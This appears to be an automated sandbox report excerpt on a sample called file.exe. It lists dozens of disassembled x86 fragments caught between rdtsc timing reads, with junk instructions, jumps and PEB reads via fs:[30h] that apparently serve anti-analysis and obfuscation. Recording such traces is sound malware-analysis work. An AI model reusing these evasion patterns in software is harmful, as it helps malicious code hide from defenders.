Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AD07E second address: 17AD09E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F0DEC859E79h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AD458 second address: 17AD45C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AD45C second address: 17AD465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AD5EB second address: 17AD5FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F0DECF2B4D6h 0x00000009 jno 00007F0DECF2B4D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AE286 second address: 17AE28A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AE28A second address: 17AE2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0DECF2B4E7h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17AE2AC second address: 17AE2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B12DB second address: 17B12EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0DECF2B4D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F0DECF2B4D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B12EE second address: 17B1315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0DEC859E70h 0x0000000d jmp 00007F0DEC859E6Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B0E89 second address: 17B0E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0DECF2B4D6h 0x0000000a pop ecx 0x0000000b jng 00007F0DECF2B4DCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B0E9C second address: 17B0EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B2B87 second address: 17B2B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B2B8B second address: 17B2BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F0DEC859E66h 0x0000000d jmp 00007F0DEC859E77h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B2A21 second address: 17B2A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17B2A25 second address: 17B2A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17F203F second address: 17F204F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F0DECF2B4E2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17FFBE7 second address: 17FFBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17FFBEB second address: 17FFBEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C95F5 second address: 18C95F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C95F9 second address: 18C9608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C8646 second address: 18C8650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C8A69 second address: 18C8A7D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0DECF2B4D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F0DECF2B4D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C8A7D second address: 18C8A91 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0DEC859E6Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C8A91 second address: 18C8AB5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d jg 00007F0DECF2B4D6h 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F0DECF2B4DBh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C916B second address: 18C9173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C9173 second address: 18C9188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECF2B4E0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C9188 second address: 18C91BE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop esi 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F0DEC859E76h 0x00000017 jng 00007F0DEC859E66h 0x0000001d jne 00007F0DEC859E66h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18C9364 second address: 18C938B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F0DECF2B4DEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC09E second address: 18CC0BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC0BB second address: 18CC0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC0BF second address: 18CC0C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC0C3 second address: 18CC0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC311 second address: 18CC315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC315 second address: 18CC31F instructions: 0x00000000 rdtsc 0x00000002 js 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC31F second address: 18CC324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC324 second address: 18CC3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DECF2B4E8h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F0DECF2B4E6h 0x00000014 push 00000004h 0x00000016 sub dx, A89Dh 0x0000001b call 00007F0DECF2B4D9h 0x00000020 pushad 0x00000021 push edx 0x00000022 jmp 00007F0DECF2B4E9h 0x00000027 pop edx 0x00000028 jo 00007F0DECF2B4D8h 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F0DECF2B4E7h 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 pushad 0x0000003a jnc 00007F0DECF2B4E6h 0x00000040 jmp 00007F0DECF2B4E0h 0x00000045 jmp 00007F0DECF2B4DAh 0x0000004a popad 0x0000004b mov eax, dword ptr [eax] 0x0000004d push ecx 0x0000004e ja 00007F0DECF2B4D8h 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 pop ecx 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e jnp 00007F0DECF2B4D6h 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC3EA second address: 18CC3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC3EF second address: 18CC3F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CC3F5 second address: 18CC3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CDB26 second address: 18CDB2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CDB2C second address: 18CDB37 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CDB37 second address: 18CDB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F0DECF2B4E9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CDB5C second address: 18CDB62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CDB62 second address: 18CDB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CF458 second address: 18CF484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F0DEC859E71h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 jmp 00007F0DEC859E6Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 18CF484 second address: 18CF48E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DECF2B4D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4001C second address: 7B4002B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4002B second address: 7B4007B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0DECF2B4DEh 0x0000000f push eax 0x00000010 jmp 00007F0DECF2B4DBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0DECF2B4E5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4007B second address: 7B40098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40098 second address: 7B4009C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4009C second address: 7B400A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B400A0 second address: 7B400A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B400A6 second address: 7B400CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0DEC859E70h 0x00000009 xor eax, 0C39F158h 0x0000000f jmp 00007F0DEC859E6Bh 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B400CE second address: 7B400E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr fs:[00000030h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 movsx edi, ax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B400E1 second address: 7B400E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B400E5 second address: 7B400F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub esp, 18h 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B400F3 second address: 7B400F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B400F9 second address: 7B4014F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushfd 0x00000007 jmp 00007F0DECF2B4E3h 0x0000000c adc cx, F57Eh 0x00000011 jmp 00007F0DECF2B4E9h 0x00000016 popfd 0x00000017 pop esi 0x00000018 popad 0x00000019 push esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0DECF2B4E6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4014F second address: 7B4015E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4015E second address: 7B40251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c jmp 00007F0DECF2B4DEh 0x00000011 mov ebx, dword ptr [eax+10h] 0x00000014 pushad 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F0DECF2B4DCh 0x0000001c adc ah, 00000068h 0x0000001f jmp 00007F0DECF2B4DBh 0x00000024 popfd 0x00000025 call 00007F0DECF2B4E8h 0x0000002a pop eax 0x0000002b popad 0x0000002c pushfd 0x0000002d jmp 00007F0DECF2B4DBh 0x00000032 jmp 00007F0DECF2B4E3h 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, esi 0x0000003a jmp 00007F0DECF2B4E6h 0x0000003f push eax 0x00000040 pushad 0x00000041 mov eax, ebx 0x00000043 mov si, di 0x00000046 popad 0x00000047 xchg eax, esi 0x00000048 jmp 00007F0DECF2B4DFh 0x0000004d mov esi, dword ptr [74E806ECh] 0x00000053 jmp 00007F0DECF2B4E6h 0x00000058 test esi, esi 0x0000005a jmp 00007F0DECF2B4E0h 0x0000005f jne 00007F0DECF2C37Bh 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40251 second address: 7B40257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40257 second address: 7B40307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 46E1h 0x00000007 jmp 00007F0DECF2B4DEh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F0DECF2B4DEh 0x00000017 add ax, 6AA8h 0x0000001c jmp 00007F0DECF2B4DBh 0x00000021 popfd 0x00000022 pushad 0x00000023 jmp 00007F0DECF2B4E6h 0x00000028 mov edx, esi 0x0000002a popad 0x0000002b popad 0x0000002c push eax 0x0000002d jmp 00007F0DECF2B4E7h 0x00000032 xchg eax, edi 0x00000033 jmp 00007F0DECF2B4E6h 0x00000038 call dword ptr [74E50B60h] 0x0000003e mov eax, 750BE5E0h 0x00000043 ret 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007F0DECF2B4DEh 0x0000004b xor eax, 4EB051C8h 0x00000051 jmp 00007F0DECF2B4DBh 0x00000056 popfd 0x00000057 push eax 0x00000058 push edx 0x00000059 mov al, 59h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40307 second address: 7B403A7 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 605DC836h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push 00000044h 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushfd 0x00000011 jmp 00007F0DEC859E6Fh 0x00000016 jmp 00007F0DEC859E73h 0x0000001b popfd 0x0000001c popad 0x0000001d mov edi, ecx 0x0000001f popad 0x00000020 pop edi 0x00000021 pushad 0x00000022 mov ch, A6h 0x00000024 popad 0x00000025 xchg eax, edi 0x00000026 jmp 00007F0DEC859E76h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F0DEC859E6Ch 0x00000035 adc eax, 0325DC18h 0x0000003b jmp 00007F0DEC859E6Bh 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007F0DEC859E78h 0x00000047 adc ch, 00000078h 0x0000004a jmp 00007F0DEC859E6Bh 0x0000004f popfd 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B403A7 second address: 7B403DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov dh, 70h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007F0DECF2B4DAh 0x00000011 push dword ptr [eax] 0x00000013 pushad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 call 00007F0DECF2B4DAh 0x0000001c pop esi 0x0000001d popad 0x0000001e mov esi, edi 0x00000020 popad 0x00000021 mov eax, dword ptr fs:[00000030h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B403DE second address: 7B403F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40447 second address: 7B40479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0DECF2B4DFh 0x00000009 and al, 0000006Eh 0x0000000c jmp 00007F0DECF2B4E9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40479 second address: 7B404B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test esi, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F0DEC859E79h 0x00000011 pop ecx 0x00000012 call 00007F0DEC859E71h 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B404B2 second address: 7B404C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B404C3 second address: 7B4052B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0E59B19043h 0x0000000e jmp 00007F0DEC859E6Dh 0x00000013 sub eax, eax 0x00000015 jmp 00007F0DEC859E77h 0x0000001a mov dword ptr [esi], edi 0x0000001c jmp 00007F0DEC859E76h 0x00000021 mov dword ptr [esi+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F0DEC859E77h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B4052B second address: 7B405C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+08h], eax 0x0000000c jmp 00007F0DECF2B4DEh 0x00000011 mov dword ptr [esi+0Ch], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 jmp 00007F0DECF2B4DDh 0x0000001b pop ecx 0x0000001c movsx edx, ax 0x0000001f popad 0x00000020 mov eax, dword ptr [ebx+4Ch] 0x00000023 jmp 00007F0DECF2B4E8h 0x00000028 mov dword ptr [esi+10h], eax 0x0000002b pushad 0x0000002c mov si, F35Dh 0x00000030 mov ah, 68h 0x00000032 popad 0x00000033 mov eax, dword ptr [ebx+50h] 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 pushfd 0x0000003a jmp 00007F0DECF2B4E1h 0x0000003f xor ax, C3A6h 0x00000044 jmp 00007F0DECF2B4E1h 0x00000049 popfd 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B405C5 second address: 7B405FB instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F0DEC859E6Dh 0x0000000d adc ax, 0D06h 0x00000012 jmp 00007F0DEC859E71h 0x00000017 popfd 0x00000018 popad 0x00000019 mov dword ptr [esi+14h], eax 0x0000001c pushad 0x0000001d pushad 0x0000001e mov edx, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B405FB second address: 7B40681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 mov eax, dword ptr [ebx+54h] 0x0000000c jmp 00007F0DECF2B4E7h 0x00000011 mov dword ptr [esi+18h], eax 0x00000014 jmp 00007F0DECF2B4E6h 0x00000019 mov eax, dword ptr [ebx+58h] 0x0000001c jmp 00007F0DECF2B4E0h 0x00000021 mov dword ptr [esi+1Ch], eax 0x00000024 jmp 00007F0DECF2B4E0h 0x00000029 mov eax, dword ptr [ebx+5Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov dx, 75B0h 0x00000033 jmp 00007F0DECF2B4E9h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B40681 second address: 7B406D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DEC859E77h 0x00000008 push esi 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+20h], eax 0x00000010 pushad 0x00000011 mov dl, al 0x00000013 pushad 0x00000014 push edi 0x00000015 pop ecx 0x00000016 push edx 0x00000017 pop esi 0x00000018 popad 0x00000019 popad 0x0000001a mov eax, dword ptr [ebx+60h] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F0DEC859E6Ah 0x00000024 or si, 5AB8h 0x00000029 jmp 00007F0DEC859E6Bh 0x0000002e popfd 0x0000002f popad 0x00000030 mov dword ptr [esi+24h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 push ebx 0x00000039 pop ecx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B406D9 second address: 7B406F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E9h 0x00000009 rdtsc
